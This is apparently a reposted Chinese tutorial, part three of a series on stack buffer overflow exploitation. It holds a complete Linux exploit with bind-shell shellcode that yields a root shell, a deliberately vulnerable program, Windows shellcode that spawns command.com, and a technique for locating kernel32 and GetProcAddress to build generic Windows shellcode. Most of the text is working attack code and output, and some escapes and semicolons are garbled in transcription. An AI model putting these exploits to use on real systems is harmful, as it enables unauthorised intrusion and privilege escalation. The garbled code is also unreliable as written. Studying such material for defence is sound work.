堆栈溢出技术从入门到高深(三)

b1  
------------------------------------------------------------------------  
----  

好,长长的shell终于写完了,下面就是攻击程序了。  

exploit4.c  
------------------------------------------------------------------------  
----  
#include<stdio.h>  
#include<stdlib.h>  
#include<unistd.h>  
#include<netdb.h>  
#include<netinet/in.h>  

#define ALIGN 0  
#define OFFSET 0  
#define RET_POSITION 1024  
#define RANGE 200  
#define NOP 0x90  

char shellcode[]=  
"/x31/xc0" /* xorl %eax,%eax */  
"/xb0/x02" /* movb $0x2,%al */  
"/xcd/x80" /* int $0x80 */  
"/x85/xc0" /* testl %eax,%eax */  
"/x75/x43" /* jne 0x43 */  
"/xeb/x43" /* jmp 0x43 */  
"/x5e" /* popl %esi */  
"/x31/xc0" /* xorl %eax,%eax */  
"/x31/xdb" /* xorl %ebx,%ebx */  
"/x89/xf1" /* movl %esi,%ecx */  
"/xb0/x02" /* movb $0x2,%al */  
"/x89/x06" /* movl %eax,(%esi) */  
"/xb0/x01" /* movb $0x1,%al */  
"/x89/x46/x04" /* movl %eax,0x4(%esi) */  
"/xb0/x06" /* movb $0x6,%al */  
"/x89/x46/x08" /* movl %eax,0x8(%esi) */  
"/xb0/x66" /* movb $0x66,%al */  
"/xb3/x01" /* movb $0x1,%bl */  
"/xcd/x80" /* int $0x80 */  
"/x89/x06" /* movl %eax,(%esi) */  
"/xb0/x02" /* movb $0x2,%al */  
"/x66/x89/x46/x0c" /* movw %ax,0xc(%esi) */  
"/xb0/x77" /* movb $0x77,%al */  
"/x66/x89/x46/x0e" /* movw %ax,0xe(%esi) */  
"/x8d/x46/x0c" /* leal 0xc(%esi),%eax */  
"/x89/x46/x04" /* movl %eax,0x4(%esi) */  
"/x31/xc0" /* xorl %eax,%eax */  
"/x89/x46/x10" /* movl %eax,0x10(%esi) */  
"/xb0/x10" /* movb $0x10,%al */  
"/x89/x46/x08" /* movl %eax,0x8(%esi) */  
"/xb0/x66" /* movb $0x66,%al */  
"/xb3/x02" /* movb $0x2,%bl */  
"/xcd/x80" /* int $0x80 */  
"/xeb/x04" /* jmp 0x4 */  
"/xeb/x55" /* jmp 0x55 */  
"/xeb/x5b" /* jmp 0x5b */  
"/xb0/x01" /* movb $0x1,%al */  
"/x89/x46/x04" /* movl %eax,0x4(%esi) */  
"/xb0/x66" /* movb $0x66,%al */  
"/xb3/x04" /* movb $0x4,%bl */  
"/xcd/x80" /* int $0x80 */  
"/x31/xc0" /* xorl %eax,%eax */  
"/x89/x46/x04" /* movl %eax,0x4(%esi) */  
"/x89/x46/x08" /* movl %eax,0x8(%esi) */  
"/xb0/x66" /* movb $0x66,%al */  
"/xb3/x05" /* movb $0x5,%bl */  
"/xcd/x80" /* int $0x80 */  
"/x88/xc3" /* movb %al,%bl */  
"/xb0/x3f" /* movb $0x3f,%al */  
"/x31/xc9" /* xorl %ecx,%ecx */  
"/xcd/x80" /* int $0x80 */  
"/xb0/x3f" /* movb $0x3f,%al */  
"/xb1/x01" /* movb $0x1,%cl */  
"/xcd/x80" /* int $0x80 */  
"/xb0/x3f" /* movb $0x3f,%al */  
"/xb1/x02" /* movb $0x2,%cl */  
"/xcd/x80" /* int $0x80 */  
"/xb8/x2f/x62/x69/x6e" /* movl $0x6e69622f,%eax */  
"/x89/x06" /* movl %eax,(%esi) */  
"/xb8/x2f/x73/x68/x2f" /* movl $0x2f68732f,%eax */  
"/x89/x46/x04" /* movl %eax,0x4(%esi) */  
"/x31/xc0" /* xorl %eax,%eax */  
"/x88/x46/x07" /* movb %al,0x7(%esi) */  
"/x89/x76/x08" /* movl %esi,0x8(%esi) */  
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */  
"/xb0/x0b" /* movb $0xb,%al */  
"/x89/xf3" /* movl %esi,%ebx */  
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */  
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */  
"/xcd/x80" /* int $0x80 */  
"/x31/xc0" /* xorl %eax,%eax */  
"/xb0/x01" /* movb $0x1,%al */  
"/x31/xdb" /* xorl %ebx,%ebx */  
"/xcd/x80" /* int $0x80 */  
"/xe8/x5b/xff/xff/xff" /* call -0xa5 */  

unsigned long get_sp(void)  
{  
__asm__("movl %esp,%eax");  
}  

long getip(char *name)  
{  
struct hostent *hp;  
long ip;  
if((ip=inet_addr(name))==-1)  
{  
if((hp=gethostbyname(name))==NULL)  
{  
fprintf(stderr,"Can"t resolve host./n");  
exit(0);  
}  
memcpy(&ip,(hp->h_addr),4);  
}  
return ip;  
}  

int exec_sh(int sockfd)  
{  
char snd[4096],rcv[4096];  
fd_set rset;  
while(1)  
{  
FD_ZERO(&rset);  
FD_SET(fileno(stdin),&rset);  
FD_SET(sockfd,&rset);  
select(255,&rset,NULL,NULL,NULL);  
if(FD_ISSET(fileno(stdin),&rset))  
{  
memset(snd,0,sizeof(snd));  
fgets(snd,sizeof(snd),stdin);  
write(sockfd,snd,strlen(snd));  
}  
if(FD_ISSET(sockfd,&rset))  
{  
memset(rcv,0,sizeof(rcv));  
if(read(sockfd,rcv,sizeof(rcv))<=0)  
exit(0);  
fputs(rcv,stdout);  
}  
}  
}  

int connect_sh(long ip)  
{  
int sockfd,i;  
struct sockaddr_in sin;  
printf("Connect to the shell/n");  
fflush(stdout);  
memset(&sin,0,sizeof(sin));  
sin.sin_family=AF_INET;  
sin.sin_port=htons(30464);  
sin.sin_addr.s_addr=ip;  
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)  
{  
printf("Can"t create socket/n");  
exit(0);  
}  
if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)  
{  
printf("Can"t connect to the shell/n");  
exit(0);  
}  
return sockfd;  
}  

void main(int argc,char **argv)  
{  
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;  
long addr;  
unsigned long sp;  
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;  
int i;  
int sockfd;  

if(argc>1)  
offset=atoi(argv[1]);  

sp=get_sp();  
addr=sp-offset;  

for(i=0;i<bsize;i+=4)  
{  
buff[i+ALIGN]=(addr&0x000000ff);  
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;  
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;  
buff[i+ALIGN+3]=(addr&0xff000000)>>24;  
}  

for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)  
buff[i]=NOP;  

ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;  
for(i=0;i<strlen(shellcode);i++)  
*(ptr++)=shellcode[i];  

buff[bsize-1]="/0"  

printf("Jump to 0x%08x/n",addr);  

if(fork()==0)  
{  
execl("./vulnerable","vulnerable",buff,0);  
exit(0);  
}  
sleep(5);  
sockfd=connect_sh(getip("127.0.0.1"));  
exec_sh(sockfd);  
}  
------------------------------------------------------------------------  
----  
算法很简单,先生成溢出串,格式为:NNNNSSSSAAAA。然后起一个子进程执行目标  
程序  
来模拟网络daemon,参数为我们的字符串。好,堆栈溢出发生了。我们的  
shellcode被  
执行,那么在30464端口就会有server在listen了。  

父进程睡五秒,等待这些完成。就连接本机的端口30464。连接建立后,从socket  
读取  
收到的字符串,打印到标准输出,从标准输入读取字符串,传到socket的server端  
下面来试一试:  

我们先写一个漏洞程序:  
vulnerable.C  
------------------------------------------------------------------------  
----  

#include <stdio.h>  

int main(int argc,char ** argv)  
{  
char buffer[1000];  
printf("I am here%x,buffer%d/n",buffer,strlen(argv[1]));  
strcpy(buffer,argv[1]);  

return 0;  
}  
------------------------------------------------------------------------  
----  

[nkl10]$Content$nbsp;./exploit  
Jump to 0xbffff63c  
I am herebffff280,buffer1224  
Connect to the shell  
Can"t connect to the shell  
看到了吗?我在vulnerable.C里面加入了一个printf,打印buffer的首地址,这样  
就可以  
不用猜了。0xbffff63c-0xbffff280 = 956,好,就用956来进行偏移。  

[nkl10]$./exploit 956  
Jump to 0xbffff280  
I am herebffff280,buffer1224  
connect to shell  
whoami  
root  
id  
uid=0(root)......  
uname -a  
Linux localhost.localdomain 2.2.5-15。。。  


嘿嘿,大功告成了。  

---------------------------------------------------------------

window系统下的堆栈溢出--原理篇  
这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序  
的  
堆栈溢出漏洞。  

让我们从头开始。windows 98第二版  

首先,我们来写一个问题程序:  
#include <stdio.h>  

int main()  
{  
char name[32];  
gets(name);  
for(int i=0;i<32&&name[i];i++)  
printf("//0x%x",name[i]);  
}  

相信大家都看出来了,gets(name)对name数组没有作边界检查。那么我们可以给程  
序  
一个很长的串,肯定可以覆盖堆栈中的返回地址。  

C:/Program Files/DevStudio/MyProjects/bo/Debug>vunera~1  
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
aaa  
/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0  
x61/0x61  
/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0  
x61/0x61  

到这里,出现了那个熟悉的对话框“该程序执行了非法操作。。。”,太好了,点  
击  
详细信息按钮,看到EIP的值是0x61616161,哈哈,对话框还会把返回地址告诉我  
们。  
这个功能太好了,我们可以选择一个序列的输入串,精确的确定存放返回地址的偏  
移位置。  

C:/Program Files/DevStudio/MyProjects/bo/Debug>vunera~1  
12345678910111213141516171819202122232425262728293031323334353637383940  

/0x31/0x32/0x33/0x34/0x35/0x36/0x37/0x38/0x39/0x31/0x30/0x31/0x31/0x31/0  
x32/0x31  
/0x33/0x31/0x34/0x31/0x35/0x31/0x36/0x31/0x37/0x31/0x38/0x31/0x39/0x32/0  
x30/0x32  
到这里,又出现了那个熟悉的对话框“改程序执行了非法操作。。。”,点击详细  
信息  
按钮,下面是详细信息:  

VUNERABLE 在 00de:32363235 的模块  
<未知> 中导致无效页错误。  
Registers:  
EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246  
EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233  
ECX=00000020 DS=0187 ESI=816bffcc FS=11df  
EDX=00411a68 ES=0187 EDI=00000000 GS=0000  
Bytes at CS:EIP:  

Stack dump:  
32383237 33303339 33323331 33343333 33363335 33383337 c0000005  
0064ff68  
0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78  
bff8b86c  

哦哦,EIP的内容为0x32363235,就是2625,EBP的内容为0x32343233,就是2423,计  
算  
一下可以知道,在堆栈中,从name变量地址开始偏移36处,是EBP的地址,从name  
变量  
地址开始偏移40处,是ret的地址。我们可以给name数组输入我们精心编写的  
shellcode。  
我们只要把name的开始地址放在溢出字符串的地址40就可以了。那么,name的开始  
地址  
是多少呢?  
通过上面的stack dump 我们可以看到,当前ESP所指向的地址0x0064fe00,内容为  

0x32383237,那么计算得出,name的开始地址为:0x0064fe00-44=0x64fdd4。在  
windows  
系统,其他运行进程保持不变的情况下。我们每次执行vunera~1的堆栈的开始地址  
都  
是相同的。也就是说,每次运行,name的地址都是0x64fdd4。  

讲到这里,大家一定已经发现了这样一个情况:在win系统中,由于有地址冲突检  
测,  
出错时寄存器影像和堆栈影像,使得我们对堆栈溢出漏洞可以进行精确的分析  
溢出偏移地址。这就使我们可以精确的方便的寻找堆栈溢出漏洞。  

OK,万事具备,只差shellcode了。  

首先,考虑一下我们的shellcode要作什么?显然,根据以往的经验,我们想开一  
个  
dos窗口,这样在这个窗口下,我们就可以作很多事情。  

开一个dos窗口的程序如下:  
#include <windows.h>  
#include <winbase.h>  

typedef void (*MYPROC)(LPTSTR);  
int main()  
{  
HINSTANCE LibHandle;  
MYPROC ProcAdd;  

char dllbuf[11] = "msvcrt.dll"  
char sysbuf[7] = "system"  
char cmdbuf[16] = "command.com"  


LibHandle = LoadLibrary(dllbuf);  

ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);  

(ProcAdd) (cmdbuf);  

return 0;  
}  

这个程序有必要详细解释一下。我们知道执行一个command.com就可以获得一个  
dos窗口。在C库函数里面,语句system(command.com);将完成我们需要的功能。  

但是,windows不像UNIX那样使用系统调用来实现关键函数。对于我们的程序来说  
,  
windows通过动态链接库来提供系统函数。这就是所谓的Dll"s。  

因此,当我们想调用一个系统函数的时候,并不能直接引用他。我们必须找到那个  

包含此函数的动态链接库,由该动态链接库提供这个函数的地址。DLL本身也有一  
个  
基本地址,该DLL每一次被加载都是从这个基本地址加载。比如,system函数由  
msvcrt.dll  
(the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都从  
0x78000000地址开始。system函数位于msvcrt.dll的一个固定偏移处(这个偏移地  
址  
只与msvcrt.dll的版本有关,不同的版本可能偏移地址不同)。我的系统上,  
msvcrt.dll版本为(v6.00.8397.0)。system的偏移地址为0x019824。  

所以,要想执行system,我们必须首先使用LoadLibrary(msvcrt.dll)装载动态链接  
库  
msvcrt.dll,获得动态链接库的句柄。然后使用GetProcAddress(LibHandle,  
system)  
获得 system的真实地址。之后才能使用这个真实地址来调用system函数。  

好了,现在可以编译执行,结果正确,我们得到了一个dos框。  

现在对这个程序进行调试跟踪汇编语言,可以得到:  
15: LibHandle = LoadLibrary(dllbuf);  
00401075 lea edx,dword ptr [dllbuf]  
00401078 push edx  
00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)]  
0040107F mov dword ptr [LibHandle],eax  
16:  
17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);  
00401082 lea eax,dword ptr [sysbuf]  
00401085 push eax  
00401086 mov ecx,dword ptr [LibHandle]  
00401089 push ecx  
0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)]  
00401090 mov dword ptr [ProcAdd],eax  
;现在,eax的值为0x78019824就是system的真实地址。  
;这个地址对于我的机器而言是唯一的。不用每次都找了。  
18:  
19: (ProcAdd) (cmdbuf);  
00401093 lea edx,dword ptr [cmdbuf]  
;使用堆栈传递参数,只有一个参数,就是字符串"command.com"的地址  
00401096 push edx  
00401097 call dword ptr [ProcAdd]  
0040109A add esp,4  

现在我们可以写出一段汇编代码来完成system,看以看我们的执行system调用的代  
码  
是否能够像我们设计的那样工作:  

#include <windows.h>  
#include <winbase.h>  

void main()  
{  

LoadLibrary("msvcrt.dll");  

__asm {  
mov esp,ebp ;把ebp的内容赋值给esp  
push ebp ;保存ebp,esp-4  
mov ebp,esp ;给ebp赋新值,将作为局部变量  
的基指针  
xor edi,edi ;  
push edi ;压入0,esp-4,  
;作用是构造字符串的结尾/0字符  
。  
sub esp,08h ;加上上面,一共有12个字节,  
;用来放"command.com"。  
mov byte ptr [ebp-0ch],63h ;  
mov byte ptr [ebp-0bh],6fh ;  
mov byte ptr [ebp-0ah],6dh ;  
mov byte ptr [ebp-09h],6Dh ;  
mov byte ptr [ebp-08h],61h ;  
mov byte ptr [ebp-07h],6eh ;  
mov byte ptr [ebp-06h],64h ;  
mov byte ptr [ebp-05h],2Eh ;  
mov byte ptr [ebp-04h],63h ;  
mov byte ptr [ebp-03h],6fh ;  
mov byte ptr [ebp-02h],6dh ;生成串"command.com".  
lea eax,[ebp-0ch] ;  
push eax ;串地址作为参数入栈  
mov eax, 0x78019824 ;  
call eax ;调用system  
}  
}  
编译,然后运行。好,DOS框出来了。在提示符下输入dir,copy......是不是想起  
了  
当年用286的时候了?  

敲exit退出来,哎呀,发生了非法操作。Access Violation。这是肯定的,因为我  
们的  
程序已经把堆栈指针搞乱了。  

对上面的算法进行优化,现在我们可以写出shellcode如下:  
char shellcode[] = {  
0x8B,0xE5, /*mov esp, ebp */  
0x55, /*push ebp */  
0x8B,0xEC, /*mov ebp, esp */  
0x83,0xEC,0x0C, /*sub esp, 0000000C */  
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */  

0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/  
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */  

0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/  
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */  

0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/  
0x33,0xD2, /*xor edx, edx */  
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */  
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/  
0x50, /*push eax */  
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */  

0xFF,0xD0 /*call eax */  
};  

还记得第二讲中那个测试shellcode的基本程序吗?我们可以用他来测试这个  
shellcode:  
#include <windows.h>  
#include <winbase.h>  
char shellcode[] = {  
0x8B,0xE5, /*mov esp, ebp */  
0x55, /*push ebp */  
0x8B,0xEC, /*mov ebp, esp */  
0x83,0xEC,0x0C, /*sub esp, 0000000C */  
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */  

0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/  
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */  

0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/  
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */  

0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/  
0x33,0xD2, /*xor edx, edx */  
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */  
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/  
0x50, /*push eax */  
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */  

0xFF,0xD0 /*call eax */  
};  

int main() {  
int *ret;  
LoadLibrary("msvcrt.dll");  

ret = (int *)&ret + 2; //ret 等于main()的返回地址  
//(+2是因为:有push ebp ,否则加1就可以了。)  

(*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地  
址。  

}  
编译运行,得到dos对话框。  

现在总结一下。我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计  
算  
偏移地址,以及如何编写一个shellcode以得到dos。理论上,你已经具备了利用堆  

栈溢出  
的能力了,下面,我们通过实战来真正掌握他。  

--------------------------------------------------------------

WINDOWS的SHELLCODE编写高级技巧

作者:yuange  

unix等系统因为有用户概念,所以往往溢出是使用先得到普通帐号,然后登陆后用溢出
再加载一个SHELL的办法得到ROOT权限,其系统调用又方便,所以SHELLCODE编写一般都比
较简单。但WINDOWS系统往往不提供登陆服务,所以溢出攻击的SHELLCODE往往要提供SOCKET
连接,要加载程序得到SHELL等,而WINDOWS的系统调用int2e接口又不如unix系统调用int80
规范,所以一般都使用API,而API函数地址又因为系统版本的不同而不一样,所以要编写
WINDOWS下面比较实用、通用点的SHELLCODE比较麻烦。

经过一段时间的思考,得到了WINDOWS下编写SHELLCODE的比教好的办法。
1、溢出点确定。使用溢出点附近覆盖一片一个RET指令地址的办法,这样只要知道溢出
点大致范围就可以了。
2、SHELLCODE定位。使用ESP寄存器定位,只要前面那覆盖的RET地址后面放一个JMP
ESP功能的指令地址就可以定位了。
3、RET指令地址、JMP ESP功能指令地址采用代码页里面的地址,54 C3,或者FF E4
、C3这个一个语言的WINDOWS地址固定,也很好找这个地址。

4、SHELLCODE直接使用C语言编写,方便编写、修改、调试。

5、SHELLCODE统一编码,满足应用条件对SHELLCODE字符的限制,用一段小汇编代码解
码,这样编写SHELLCODE就可以不用考虑特殊字符了。
6、通信加密,对付防火墙,实现FTP功能,实现内存直接接管WEB服务等的高级应用。

下面主要介绍介绍编写通用SHELLCODE的办法。主要SHELLCODE里面使用的API自己用
GetProcAddress定位,要使用库用LoadLibraryA加载。那这样SHELLCODE就只依靠这两个
API了。那这两个API的地址又怎么解决呢,LoadLibraryA这个API在系统库KERNEL32.DLL里
面,也可以使用GetProcAddress得到。那关键就是要找到系统库kernel32.dll和
GetProcAddress的地址了。因为一般应用程序都会加载kernel32.dll,所以解决办法就是在
内存里面找到这个系统库和API地址,所幸知道了WINDOWS的模块数据结构也就不难了,主要
是增加异常结构处理 。下面是VC6.0程序代码:

void shellcodefn()
{
int *except[3];
FARPROC procgetadd=0;
char *stradd;
int imgbase,fnbase,i,k,l;
HANDLE libhandle;
_asm {
jmp nextcall
getstradd: pop stradd
lea EDI,except
mov eax,dword ptr FS:[0]
mov dword ptr [edi+0x08],eax
mov dword ptr FS:[0],EDI
}
except[0]=0xffffffff;
except[1]=stradd-0x07;
/* 保存异常结构链和修改异常结构链,SHELLCODE接管异常 */

imgbase=0x77e00000;
/* 搜索KERNEL32.DLL 的起始其实地址 */

call getexceptretadd
}
/* 得到异常后的返回地址 */
for(;imgbase<0xbffa0000,procgetadd==0;){
imgbase+=0x10000;
/* 模块地址是64K为单位,加快速度*/
if(imgbase==0x78000000) imgbase=0xbff00000;
/* 如果到这还没有搜索到,那可能是WIN9X系统 */
if(*( WORD *)imgbase==’ZM’&& *(WORD *)
(imgbase+*(int *)(imgbase+0x3c))==’EP’){
/* 模块结构的模块头 */
fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
k=*(int *)(fnbase+0xc)+imgbase;
if(*(int *)k ==’NREK’&&*(int *)(k+4)==’23LE’){
/* 模块名 */
libhandle=imgbase;
/* 得到模块头地址,就是模块句柄 */
k=imgbase+*(int *)(fnbase+0x20);
for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
if(*(int *)(imgbase+*(int *)k)==’PteG’&&*(int *)(4+imgbase+*(int *)k)==’Acor’){
/* 引出名 */
k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
k+=*(int *)(fnbase+0x10)-1;
k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
procgetadd=k+imgbase;
/* API地址 */
break;
}
}
}
}
}
// 搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址
// 注意这儿处理了搜索页面不在情况。

_asm{
lea edi,except
mov eax,dword ptr [edi+0x08]
mov dword ptr fs:[0],eax
}
/* 恢复异常结构链 */


if(procgetadd==0) goto die ;
/* 如果没找到GetProcAddress地址死循环 */
die: goto die ;

_asm{

getexceptretadd: pop eax
push eax
mov edi,dword ptr [stradd]
mov dword ptr [edi-0x0e],eax
ret
/* 得到异常后的返回地址,并填写到异常处理模块 */

/* 异常处理模块 */
errprogram: mov eax,dword ptr [esp+0x0c]
add eax,0xb8
mov dword ptr [eax],0x11223344 //stradd-0xe
/* 修改异常返回EIP指针 */
xor eax,eax //2
/* 不提示异常 */
ret //1
/* 异常处理返回 */
execptprogram: jmp errprogram //2 bytes stradd-7
nextcall: call getstradd //5 bytes
}
}  

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值